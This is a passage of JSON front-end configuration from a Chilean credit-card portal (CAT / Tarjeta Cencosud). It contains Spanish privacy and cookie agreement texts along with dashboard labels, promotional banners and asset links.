atención de post venta, todo lo cual podrá realizarse por medio de correo electrónico, mensajes de texto (SMS), notificaciones en aplicaciones móviles, redes sociales, llamadas telefónicas, entre otras.</li>\n<li>Con fines comerciales, con el objeto ofrecerle productos y/o servicios financieros CAT y de sus empresas relacionadas.</li>\n<li>En virtud de programas de fidelización; para informarle de beneficios, eventos, descuentos y sorteos organizados por CAT, Cencosud y otras empresas que formen parte del programa de fidelización, todo lo cual podrá realizarse por medio de correo electrónico, mensajes de texto (SMS), notificaciones en aplicaciones móviles, redes sociales, llamadas telefónicas, entre otras. Esta autorización existirá incluso una vez terminada su relación con CAT.</li>\n<li>CAT podrá realizar consultas a bases de datos públicas y ante las autoridades administrativas y judiciales, relacionada con su información de solvencia, morosidad y en general indicadores de riesgo, con el objeto de analizar su riesgo crediticio, financiero u operacional al evaluar operaciones de contratación y mantención de productos y/o servicios ofertados por o a través de CAT.</li>\n<li>CAT, con el objeto de mantener la calidad del servicio, verificar instrucciones y prevenir fraudes, podrá grabar conversaciones telefónicas, su voz y/o su imagen, y conservar dichas grabaciones, como, asimismo, utilizarlas como pruebas en caso de procesos judiciales, administrativos y arbitrales.</li>\n<li>CAT podrá hacer tratamiento de los datos de geolocalización relacionados con los servicios y productos que provee.</li>\n<li>CAT podrá hacer tratamiento y comunicación de sus datos en el marco de medidas precontractuales, así como de acciones y actos preparatorios y de revisión previos a la contratación de los servicios o productos. Como, asimismo, con el objeto de proveer la información y responder a los requerimientos de los interesados en los formularios y/o landing pages dispuestos para consultas relacionada con los productos y servicios ofrecidos.</li>\n<li>Finalmente, CAT tratará sus datos personales, con fines estadísticos, históricos, para la elaboración de modelos de comportamiento, predicción, estudios de mercados, entre otros, en cuyos casos sus datos se utilizarán, en lo posible, en forma anonimizada, esto es, no siendo posible identificar la identidad de la persona a quien estos pertenecen.</li>\n</ol>\n<h3><span style=\"padding: 0;\">III.</span> Canales de recolección de datos</h3>\n<p>CAT recolectará sus datos por diferentes medios, pudiendo mencionar: la contratación de productos y servicios de CAT, acceso y uso al sitio web y aplicaciones móviles dispuestas por el CAT; remisión de formularios en línea y correos electrónicos, mensajes de textos (SMS), llamadas telefónicas, atención dada por servicio al cliente, sus transacciones, captaciones, bases de datos de libre acceso al público, entre otros canales dispuestos de conformidad a la legislación vigente.</p>\n<p>CAT podría recoger y utilizar información de menores de edad solo si ésta ha sido provista por sus padres o tutores y con su consentimiento.</p>\n<h3><span style=\"padding: 0;\">IV.</span> Comunicación de datos</h3>\n<p>CAT no compartirá sus datos personales con terceros, salvo que exista un mandamiento legal que lo permita, autorice u obligue; cuando se requiera para prevenir, investigar y/o descubrir el fraude; y en aquellos casos que Ud. consienta a ello.</p>\n<p>En tal sentido, mediante la aceptación del presente Acuerdo de Privacidad, Ud. autoriza a CAT para que este comunique y comparta sus datos personales con:</p>\n<ol type=\"a\">\n<li>Terceros, proveedores de servicios a CAT que tienen acceso a sus datos personales, en su calidad de encargados del tratamiento, esto es, que tratan sus datos por cuenta de CAT. Para ello, CAT, ha adoptado criterios de selección de proveedores, destinados a que estos, provean sus servicios dando cumplimiento a las políticas de protección de datos definidas por CAT, en materia de confidencialidad y resguardo de la información.</li>\n<li>Para actualizar el estado de las relaciones contractuales y dar cumplimiento a las obligaciones pactadas con Ud.</li>\n<li>Cencosud y demás empresas que formen parte del programa de fidelización de CAT/Cencosud, con el objeto de ofrecerle a Ud. beneficios y descuentos, de acuerdo a sus preferencias.</li>\n<li>Con CAT Corredora de Seguros, con el objeto de ofrecerle servicios y productos que complementen los servicios financieros proveídos por CAT y otros de acuerdo a sus preferencias.</li>\n<li>Para reportar y actualizar ante los operadores de información y riesgo, cumpliendo los procedimientos y garantías que en cada momento establezca y le reconozca la legislación vigente.</li>\n<li>Para cumplir las obligaciones legales y fiscales que resulten aplicables.</li>\n<li>Para dar cumplimiento a citaciones u órdenes judiciales.</li>\n<li>Para prevenir el riesgo de lavado de activos, financiamiento del terrorismo, otros delitos y actividades afines.</li>\n<li>Para responder a solicitudes de información debidamente autorizadas de autoridades policiales o gubernamentales.</li>\n<li>Para contribuir en la prevención de un fraude o para hacer cumplir o proteger los derechos y propiedades de CAT o de sus filiales y empresas relacionadas.</li>\n<li>Para el caso de producirse una circunstancia en que, por motivos estratégicos u otros motivos comerciales, CAT decidiera vender, comprar, fusionarse o reorganizar los negocios de otra forma. En tal caso, dicha transacción podría incluir la divulgación de su información personal a compradores eventuales o reales, o la recepción de esta de parte de los vendedores. CAT tiene como norma tratar de proteger adecuadamente la información personal en estos tipos de transacciones.</li>\n</ol>\n<h3><span style=\"padding: 0;\">V.</span> Transmisión y transferencia internacional:</h3>\n<p>Mediante la aceptación de esta política de privacidad, el titular autoriza expresamente a CAT para transferir los datos personales de sus clientes y usuarios a servidores ubicados en la nube y/o en territorio extranjero, todo ello de acuerdo al Capítulo 20-7 de la Recopilación Actualizada de Normas de la Superintendencia de Bancos e Instituciones Financieras o las normas que rijan en la materia.</p>\n<h3><span style=\"padding: 0;\">VI.</span> Información respecto de datos personales.</h3>\n<p>Todo titular de datos personales tiene derecho a solicitar información respecto de sus datos que sean objeto de tratamiento por parte de CAT. Para ello Ud. puede contactar a CAT escribiendo un correo electrónico a <a href=\"mailto:gestionatusdatos@cencosudscotiabank.cl\">gestionatusdatos@cencosudscotiabank.cl</a></p>\n<h3><span style=\"padding: 0;\">VII.</span> Seguridad:</h3>\n<p>Todos los datos personales objeto de tratamiento realizado por CAT, es manejada con reserva, y tanto los objetivos como los procedimientos de su uso con terceros, en caso de ser necesario, se establecen en un contrato de confidencialidad.</p>\n<p>En tal sentido, CAT se compromete a implementar las medidas técnicas y organizativas, posibles y razonables, todo ello de conformidad con los estándares y prácticas de la industria relacionados con la seguridad de la información, y a adoptar las instrucciones que para tal efecto imparta la Comisión para Mercado Financiero. (CMF).</p>","img":null,"code_first_agreement":null,"code_second_agreement":null,"text_link_first_agreement":null,"text_link_second_agreement":null},"3":{"title":"Acuerdo de Privacidad Digital","subtitle":"CAT Administradora de Tarjetas S.A.","code":"AGREEMENT2_PRIVACY_AGREEMENT_DIGITAL","text_button_continue":"Apruebo este acuerdo de privacidad","text_button_closed":"Rechazo este acuerdo de privacidad","text_agreements":null,"type_agreement":"2","version_agreement":"1.0.0.0","text_icon_download_pdf":"Descarga el documento de privacidad","button_icon_download_pdf":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5992061344061106-download-4.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5992061344061106-download-4.svg"},"pdf_link":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/4668795053028718-acuerdo-de-privacidad-digital-1.pdf","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/4668795053028718-acuerdo-de-privacidad-digital-1.pdf"},"pdf_text":"<h3>Cómo protegemos su privacidad digital.</h3>\n<p>La presente política, junto con el Acuerdo de Privacidad de CAT, describe cómo CAT y sus Filiales utiliza cookies y otras tecnologías para proporcionar a nuestros clientes y socios comerciales, productos y servicios personalizados.</p>\n<h3>Uso de cookies:</h3>\n<p>Una \"cookie\" es un dato que crea un navegador web cuando visita un sitio web. Estos datos son información sobre cómo y cuándo utiliza un sitio. Se coloca en su computador, teléfono inteligente o tablet (\"dispositivo en línea\") en forma de un pequeño archivo de texto.</p>\n<p>Hay dos tipos principales de cookies:</p>\n<ul>\n<li><strong>Cookies de sesión:</strong> son cookies temporales que caducan cuando abandonas el sitio. Las cookies de sesión permiten que el sitio web lo reconozca mientras navega entre las páginas durante una sola sesión del navegador y le permite usar el sitio web de manera más eficiente.</li>\n<li><strong>Cookies persistentes:</strong> en contraste con las cookies de sesión, las cookies persistentes se almacenan en su dispositivo en línea entre las sesiones de navegación hasta su vencimiento o eliminación. Por lo tanto, permiten que el sitio web lo \"reconozca\" a su regreso, recuerde sus preferencias y personalice sus servicios.</li>\n</ul>\n<p>Utilizamos cookies de sesión y cookies persistentes en nuestro sitio web. El beneficio de habilitar las cookies es que permitirá que el uso de los sitios web de Scotiabank sea más rápido, fácil y adaptado a sus intereses.</p>\n<h3>Uso de Pixel, Tags y web beacons:</h3>\n<p>Los Pixel Tags y los web beacons proporcionan información sobre cómo el usuario interactúa con nuestros sitios web, aplicaciones móviles y correos electrónicos. Estas tecnologías pueden comunicarse con los servidores para obtener imágenes y otro contenido y para transmitir información sobre la dirección IP que se utiliza para acceder a nuestro sitio e información sobre su navegador. Podemos utilizar la información que obtenemos a través de estas tecnologías para enviarle información de nuestros productos y servicios de acuerdo sus preferencias.</p>\n<h3>¿Por qué usamos estas tecnologías?</h3>\n<ul>\n<li><strong>Para recopilar información estadística</strong>: Utilizamos estas tecnologías para recopilar y evaluar información estadística anonimizada sobre cómo los usuarios utilizan nuestros sitios web para ayudarnos a mejorar nuestros sitios, productos y servicios.</li>\n<li><strong>Para medir el compromiso</strong>: utilizamos estas tecnologías para comprender mejor el comportamiento de los clientes en nuestros sitios web a fin de desarrollar estrategias de compromiso para brindarle un mejor servicio y facilitarle la navegación por nuestros sitios y encontrar información sobre nuestros productos y servicios. Estos datos pueden coincidir con otra información que tenemos sobre usted para proporcionarle comunicaciones y servicios de marketing personalizados que reflejen mejor sus necesidades.</li>\n<li><strong>Para anunciar o hacer ofertas</strong>: Utilizamos estas tecnologías para enviar anuncios y ofertas relacionadas con CAT de acuerdo a sus preferencias o que puedan ser de su interés en sitios web de terceros relacionados con CAT.</li>\n<ul>\n<li><strong>Para autenticar su computadora: </strong>Utilizamos estas tecnologías para recopilar información como la dirección IP y el tipo de navegador para autenticarlo a usted y su computadora y para detectar y prevenir el fraude.</li>\n<li><strong>Para seguridad y verificación: </strong>Utilizamos estas tecnologías para ayudarnos a mantener la seguridad y verificar sus datos mientras navega de una página a otra en nuestros sitios web, lo que le permite evitar tener que volver a ingresar sus datos cada vez que ingresa a una nueva página.</li>\n<li><strong>Para personalizar el contenido: </strong>Utilizamos estas tecnologías para recordar cómo ha personalizado su uso de nuestros sitios web, como su moneda y zona horaria preferidas, y para personalizar su experiencia en nuestros sitios web y aplicaciones móviles.</li>\n<li><strong>Para mejorar su experiencia de usuario: </strong>Utilizamos cookies de estas tecnologías para recopilar información sobre su actividad en nuestros sitios web que nos permita comprender mejor y mejorar su experiencia de usuario cuando utiliza nuestros sitios web, por ejemplo, una cookie que reconoce si su navegador admite características tecnológicas específicas. Esto ayuda, por ejemplo, a permitir que los sitios web se carguen más rápidamente cuando solicita la descarga de un archivo grande.</li>\n</ul>\n</ul>\n<h3>¿Por qué recopilamos información sobre su ubicación?</h3>\n<p>Ofrecemos aplicaciones móviles u otros productos y servicios que utilizan información sobre su ubicación. Si elige usar dichas aplicaciones o servicios, podemos, con su consentimiento, recopilar información sobre su ubicación para proporcionarle los servicios que solicite (por ejemplo, para mostrarle el cajero automático más cercano) o para protegerlo a usted y a nosotros del fraude.</p>\n<h3>Cómo controlar o rechazar las cookies</h3>\n<p>Al navegar y continuar en el sitio web de CAT, Ud. nos indica que está consintiendo el uso de las cookies antes enunciadas, y en las condiciones contenidas en la presente Política de Cookies y otras tecnologías.</p>\n<p>Ud. puede deshabilitar las cookies en su navegador. También puede modificar la configuración de su navegador para solicitar su permiso cada vez que un sitio web intente establecer una cookie. Sin embargo, nuestros sitios web (y muchos otros sitios web) se basan en cookies para habilitar ciertas funciones. Si elige deshabilitar las cookies, puede que todo o parte de los servicios o funcionalidades en nuestros sitios web no funcionen correctamente.</p>\n<p>Puede evitar el almacenamiento y procesamiento de datos relacionados con su uso del sitio por parte de Google y Adobe de la siguiente manera:</p>\n<ul>\n<li>Puede optar por Adobe Analytics mediante Adobe Opt Out Ajustes.</li>\n<li>Puede optar por no participar en Google Analytics instalando el complemento de exclusión voluntaria del navegador de Google.</li>\n</ul>\n<p>Si, Ud. no desea recibir publicidad de CAT, por favor contáctese llamando al escribiendo un correo electrónico a <a href=\"mailto:gestionatusdatos@cencosudscotiabank.cl\">gestionatusdatos@cencosudscotiabank.cl</a></p>\n<h3>Cómo desactivar otras tecnologías:</h3>\n<ul>\n<li><strong>Dispositivos móviles: </strong> Los principales navegadores de Internet móvil admiten DNT (Do not track, en español no rastrear) de varias formas. Haga clic en el navegador de su dispositivo móvil para revelar cómo ajustar su función DNT. Asimismo, muchos teléfonos tienen una configuración DNT separada para aplicaciones móviles. Tenga en cuenta que configurar su navegador en DNT no necesariamente afecta su configuración DNT para aplicaciones. Para asegurarse de que no se le rastrea, debe activar AMBAS opciones.</li>\n<li><strong>Computadora de escritorio y notebook: </strong> Se deberá considerar el tipo de navegador instalado en el dispositivo, la configuración “No rastrear” está en la Configuración del navegador, en la casilla de “Privacidad\", en la que se deberá marcar la casilla \"Enviar una solicitud 'No rastrear'” el tráfico de navegación, para deshabilitar la operación de rastreo.</li>\n</ul>\n<h3>Cómo proteger tu seguridad</h3>\n<p>Los navegadores como “Google Chrome, Microsoft Edge y equivalentes” le permiten almacenar contraseñas e ID de inicio de sesión, por lo que no necesita volver a ingresar esta información cada vez que accede a un sitio web. Para evitar el uso no autorizado de sus códigos en nuestros sitios, CAT insta encarecidamente a NO utilizar esta funcionalidad.</p>\n<h3>Cómo le notificaremos los cambios a este Acuerdo</h3>\n<p>Podemos cambiar este Acuerdo de vez en cuando para reflejar cambios en nuestras prácticas. Mostraremos el Acuerdo modificado en nuestro sitio web aplicaciones y otros canales que se definan, solicitando su correspondiente autorización a las nuevas condiciones. Le recomendamos que visite nuestro sitio web con frecuencia para mantenerse informado.</p>\n<h3>Cómo contactarnos</h3>\n<p>Si tiene alguna pregunta sobre este Acuerdo, comuníquese con nosotros al siguiente Correo electrónico: <a href=\"mailto:gestionatusdatos@cencosudscotiabank.cl\">gestionatusdatos@cencosudscotiabank.cl</a></p>","img":null,"code_first_agreement":null,"code_second_agreement":null,"text_link_first_agreement":null,"text_link_second_agreement":null},"4":{"title":"Estamos listos","subtitle":"Los acuerdos de privacidad han sido guardados correctamente.","code":"STEP_PRIVACY_AGREEMENT_SUCCESS","text_button_continue":"Cerrar","text_button_closed":null,"text_agreements":null,"type_agreement":null,"version_agreement":null,"text_icon_download_pdf":null,"button_icon_download_pdf":null,"pdf_link":null,"pdf_text":null,"img":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3670697180715665-acuerdos_ok.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3670697180715665-acuerdos_ok.svg"},"code_first_agreement":null,"code_second_agreement":null,"text_link_first_agreement":null,"text_link_second_agreement":null},"5":{"title":"Algo salió mal","subtitle":"No logramos guardar los acuerdos de privacidad. Inténtalo nuevamente.","code":"STEP_PRIVACY_AGREEMENT_RETRY","text_button_continue":"Reintentar","text_button_closed":null,"text_agreements":null,"type_agreement":null,"version_agreement":null,"text_icon_download_pdf":null,"button_icon_download_pdf":null,"pdf_link":null,"pdf_text":null,"img":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/8962833493148004-acuerdos_warning.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/8962833493148004-acuerdos_warning.svg"},"code_first_agreement":null,"code_second_agreement":null,"text_link_first_agreement":null,"text_link_second_agreement":null},"6":{"title":"No se guardaron los acuerdos de privacidad","subtitle":"No te preocupes, te recordaremos realizar este proceso en otro momento.","code":"STEP_PRIVACY_AGREEMENT_ERROR","text_button_continue":"Aceptar","text_button_closed":null,"text_agreements":null,"type_agreement":null,"version_agreement":null,"text_icon_download_pdf":null,"button_icon_download_pdf":null,"pdf_link":null,"pdf_text":null,"img":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/04697019348576492-acuerdos_error.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/04697019348576492-acuerdos_error.svg"},"code_first_agreement":null,"code_second_agreement":null,"text_link_first_agreement":null,"text_link_second_agreement":null}},"errorDataPrivacyAgreement":false,"isLoadingDataPrivacyAgreement":false},"directusDataDashboard":{"movement_month":{"title":"Últimos movimientos","label_description":"Aparecerán en tu próxima facturación","label_amount_available":"Disponible","label_amount_used":"Cupo Utilizado","label_total_amount":"Cupo total","img_without_movement":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/9140744546476782-06988156258411293-scenes.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/9140744546476782-06988156258411293-scenes.svg"},"text_without_movement":"En estos momentos no registras movimientos en tu tarjeta","text_error_movement":"En estos momentos no podemos mostrar tus últimos movimientos","text_retry_error_movement":"Se ha alcanzado el número máximo de intentos, regresa en unos minutos","text_movement_month":"Ver más movimientos","link_text_movement_month":"_self","target_text_movement_month":"_self","expand_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/2729567639547428-45811605174163783-expand.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/2729567639547428-45811605174163783-expand.svg"},"modal_close_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5067549826624826-8773939573944158-error-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5067549826624826-8773939573944158-error-2.svg"},"img_error":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3791593477694626-warning-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3791593477694626-warning-1.svg"},"btn_text":"Reintentar","btn_type":"primary","btn_link":"https://www.mitarjetacencosud.cl/movimientos/tarjetas/{{idTarjeta}}","label_location":"Ubicación","label_fee_number":"Nº cuotas","label_fee_value":"Valor cuota","icons":[{"code":"default","icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/4635560649572479-5557054306996339-vector-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/4635560649572479-5557054306996339-vector-1.svg"}}],"increase_label":"Solicitar aumento de cupo","increase_active":true,"icon_increase":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7692274443409768-3369318395273535-47503815709810726-icon.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7692274443409768-3369318395273535-47503815709810726-icon.svg"}},"promotion":{"title":"Descuentos exclusivos para ti","space_between":16,"arrow_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7266761099538241-4617153577869193-chevron_left-6.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7266761099538241-4617153577869193-chevron_left-6.svg"},"images":[{"show":true,"position":1,"code":"CELULARES_PARIS","url":"https://www.paris.cl/tecnologia/celulares/smartphone/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=smartphone","target":"_blank","image_desktop":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/1464816038966701-9560393656595785-banner_tarjetacencosud_celulares_desktop.jpeg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/1464816038966701-9560393656595785-banner_tarjetacencosud_celulares_desktop.jpeg"},"image_mobile":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/15713057222067817-07000414733212357-banner_tarjetacencosud_celulares_mobile.jpeg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/15713057222067817-07000414733212357-banner_tarjetacencosud_celulares_mobile.jpeg"}},{"show":true,"position":2,"code":"COMPUTACION_PARIS","url":"https://www.paris.cl/tecnologia/computadores/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=computacion","target":"_blank","image_desktop":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3152297324016613-048113607291186744-banner_tarjetacencosud_computacion_desktop.jpeg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3152297324016613-048113607291186744-banner_tarjetacencosud_computacion_desktop.jpeg"},"image_mobile":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/956946280468973-23369059094621547-banner_tarjetacencosud_computacion_mobile.jpeg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/956946280468973-23369059094621547-banner_tarjetacencosud_computacion_mobile.jpeg"}},{"show":true,"position":3,"code":"DORMITORIO_PARIS","url":"https://www.paris.cl/dormitorio/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=dormitorio","target":"_blank","image_desktop":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/4109679366132004-14347309083432291-banner_tarjetacencosud_dormitorio_desktop.jpeg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/4109679366132004-14347309083432291-banner_tarjetacencosud_dormitorio_desktop.jpeg"},"image_mobile":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6922051681742494-7602724839057322-banner_tarjetacencosud_dormitorio_mobile.jpeg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6922051681742494-7602724839057322-banner_tarjetacencosud_dormitorio_mobile.jpeg"}},{"show":true,"position":4,"code":"LB_PARIS","url":"https://www.paris.cl/linea-blanca/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=linea_blanca","target":"_blank","image_desktop":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7465166447430605-4723084715185526-banner_tarjetacencosud_lb_desktop.jpeg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7465166447430605-4723084715185526-banner_tarjetacencosud_lb_desktop.jpeg"},"image_mobile":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/2926883143486605-8735737689900791-banner_tarjetacencosud_lb_mobile.jpeg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/2926883143486605-8735737689900791-banner_tarjetacencosud_lb_mobile.jpeg"}},{"show":true,"position":5,"code":"SMARTV_PARIS","url":"https://www.paris.cl/electro/television/smart-tv/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=smart_tv","target":"_blank","image_desktop":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3225571852538833-4732718695455991-banner_tarjetacencosud_smartv_desktop.jpeg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3225571852538833-4732718695455991-banner_tarjetacencosud_smartv_desktop.jpeg"},"image_mobile":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/053106237876301865-47298671219141664-banner_tarjetacencosud_smartv_mobile.jpeg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/053106237876301865-47298671219141664-banner_tarjetacencosud_smartv_mobile.jpeg"}}]},"service_error":{"image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5921284523825807-4846094910181684-ilustracion_500_alt-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5921284523825807-4846094910181684-ilustracion_500_alt-1.svg"},"title":"No podemos procesar tu solicitud en este momento","subtitle":"Existe un problema en nuestros sistemas que no nos permite continuar con tu solicitud.","text_call":"Por favor inténtalo más tarde o llámanos al","phone":"600 450 5000","url_phone":"tel:600 450 5000","target_phone":"_self","text_button":"Volver a iniciar sesión","url_button":"https://www.mitarjetacencosud.cl/login","target_button":"_self"},"billing":{"title":"Facturación disponible","title_error":"Error en la facturación","title_no_billing":"Sin facturación","due_date_label":"Fecha de vencimiento","arrow_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7260790645498507-09750966631636082-chevron_bottom-9.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7260790645498507-09750966631636082-chevron_bottom-9.svg"},"show_alert":true,"alert_text":"Si ya realizaste el pago, no consideres esta información","show_min_payment":true,"min_payment_label":"Pago mínimo","billed_amount_label":"Monto Facturado","pay_button_text":"Pagar mi cuenta","pay_button_link":"https://www.mitarjetacencosud.cl/pagos/eecc/privado/tarjetas","pay_button_target":"_self","reorder_button_text":"Reordenar mi deuda","reorder_button_link":"https://www.mitarjetacencosud.cl/TarjetaMasWEB/simuladorRepactacion.do?method=plancuota&pos=rbtn1","reorder_button_target":"_self","has_reorder_button_icon":false,"reorder_button_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/4789924829223917-0866805533628685-reordenar_deuda.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/4789924829223917-0866805533628685-reordenar_deuda.svg"},"other_movements_text":"Ver movimientos facturados","other_movements_link":"https://www.mitarjetacencosud.cl/movimientos/facturados/{{idCuenta}}","other_movements_target":"_self","error_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3791593477694626-warning-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3791593477694626-warning-1.svg"},"error_text":"Tu facturación no está disponible en estos momentos, intenta nuevamente","error_text_retry":"Se ha alcanzado el número máximo de intentos, regresa en unos minutos","error_button_text":"Reintentar","no_billing_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/756862162228771-21392468003798815-empty-state.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/756862162228771-21392468003798815-empty-state.svg"},"no_billing_text":"No cuentas con facturación en los últimos 6 meses","show_reorder_button":false},"other_benefits_card":{"title":"Otros servicios disponibles","arrow_icon_link":null,"arrow_icon_target":"_self","space_between":"16","scrollable":true,"show_paginator":true,"arrow_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6543806719609322-4617153577869193-chevron_left-7.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6543806719609322-4617153577869193-chevron_left-7.svg"},"wild_cards":[],"service_available_cards":[{"btn_target":"_self","btn_type":"primary","body":null,"title":"Avance","image_link":"","badge_text":null,"image_target":"_self","badge_gradient":"purple","btn_text":"Pide tu avance","badge_shape":"rectangle","btn_link":"https://www.mitarjetacencosud.cl/ae/tarjetas/{{idTarjeta}}/simulacion","code":"AE","active":true,"type_banner":true,"show_badge":false,"order":2,"image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6780479287803189-rectangle-459.png","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6780479287803189-rectangle-459.png"},"title_logo":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/052452455761430095-4016316300081415-logo_avance.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/052452455761430095-4016316300081415-logo_avance.svg"}},{"btn_target":"_self","btn_type":"primary","body":null,"title":null,"image_link":null,"badge_text":null,"image_target":"_self","badge_gradient":"purple","btn_text":"Pide tu Súper Avance","badge_shape":"rectangle","btn_link":"https://www.mitarjetacencosud.cl/sae/tarjetas/{{idTarjeta}}/simulacion","code":"SAE","active":true,"type_banner":true,"show_badge":false,"order":1,"image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/2421911629238176-rectangle-462.png","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/2421911629238176-rectangle-462.png"},"title_logo":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/690376236744741-8995045456856703-logo_super_avance.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/690376236744741-8995045456856703-logo_super_avance.svg"}},{"btn_target":"_self","btn_type":"primary","body":null,"title":"Aumento de Cupo","image_link":null,"badge_text":null,"image_target":"_self","badge_gradient":"purple","btn_text":"Solicita tu nuevo cupo","badge_shape":"rectangle","btn_link":null,"code":"AUMENTO_CUPO","active":true,"type_banner":false,"show_badge":false,"order":4,"image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/2993214743718715-7051984182656252-dollar.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/2993214743718715-7051984182656252-dollar.svg"},"title_logo":null},{"btn_target":"_self","btn_type":"primary","body":null,"title":"Del papel al email","image_link":null,"badge_text":"","image_target":"_self","badge_gradient":"purple","btn_text":"Suscríbete ahora","badge_shape":"rectangle","btn_link":"https://www.mitarjetacencosud.cl/mis-datos","code":"PAPEL_EMAIL","active":true,"type_banner":false,"show_badge":false,"order":5,"image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/9125077929487062-9069258675419622-computer.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/9125077929487062-9069258675419622-computer.svg"},"title_logo":null}],"card_other_services":[{"btn_target":null,"btn_link":null,"amount_detail_mobile":null,"title":"¡Para tus hijos, mamá, o quien quieras! ️👦🏻","subtitle":"Rápido y donde quieras","text_tooltip":"text","amount_detail":null,"code":"ADICIONAL","amount_text":null,"img_detail":null,"img_tooltip":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5614819069964119-6944717963229992-help.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5614819069964119-6944717963229992-help.svg"}},{"btn_target":"_self","btn_link":"https://www.mitarjetacencosud.cl/ae/tarjetas/{{idTarjeta}}/simulacion","amount_detail_mobile":"Pide tu Avance","title":"Tienes un avance","subtitle":"Disponible","text_tooltip":null,"amount_detail":"Avance","code":"AE","amount_text":"$$amount","img_detail":null,"img_tooltip":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6951360396645561-03868425379584761-emoji_hand-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6951360396645561-03868425379584761-emoji_hand-1.svg"}},{"btn_target":null,"btn_link":null,"amount_detail_mobile":null,"title":"Tu cupo al día de hoy es","subtitle":"$$amount","text_tooltip":null,"amount_detail":"Cupo <span>Pre-Aprobado</span>","code":"AUMENTO_CUPO","amount_text":"$$amountPreApproved","img_detail":null,"img_tooltip":null},{"btn_target":"_self","btn_link":"https://www.mitarjetacencosud.cl/mis-datos","amount_detail_mobile":null,"title":"Tu <span>Estado de Cuenta</span> directo en tu email","subtitle":"Rápido y donde quieras","text_tooltip":"text","amount_detail":null,"code":"PAPEL_EMAIL","amount_text":"Suscríbete 